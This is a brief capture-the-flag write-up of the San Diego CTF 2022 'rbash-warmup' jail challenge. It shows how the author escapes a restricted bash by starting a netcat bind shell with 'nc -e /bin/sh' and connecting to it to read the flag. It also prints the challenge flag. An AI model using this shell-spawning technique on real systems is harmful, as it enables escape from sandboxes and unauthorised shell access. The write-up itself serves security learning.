After testing available commands for this version of restricted bash, I saw that you can use `nc`. Great! I started server process in the background:
```shell
$ nc rbash-warmup.sdc.tf 1337
rbash-5.0$ nc -lv -p 4000 -s 127.0.0.1 -e /bin/sh &

[1] 3
listening on [127.0.0.1] 4000 ...
```

Then I used `nc` again to connect to this server and use normal sh instead of restricted version:
```shell
rbash-5.0$ nc 127.0.0.1 4000
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58068

/flag
sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}
```

##### Flag: sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}

Original writeup (https://github.com/ninnikukawaii/write-ups/tree/master/San%20Diego%20CTF%202022/jail/rbash-warmup).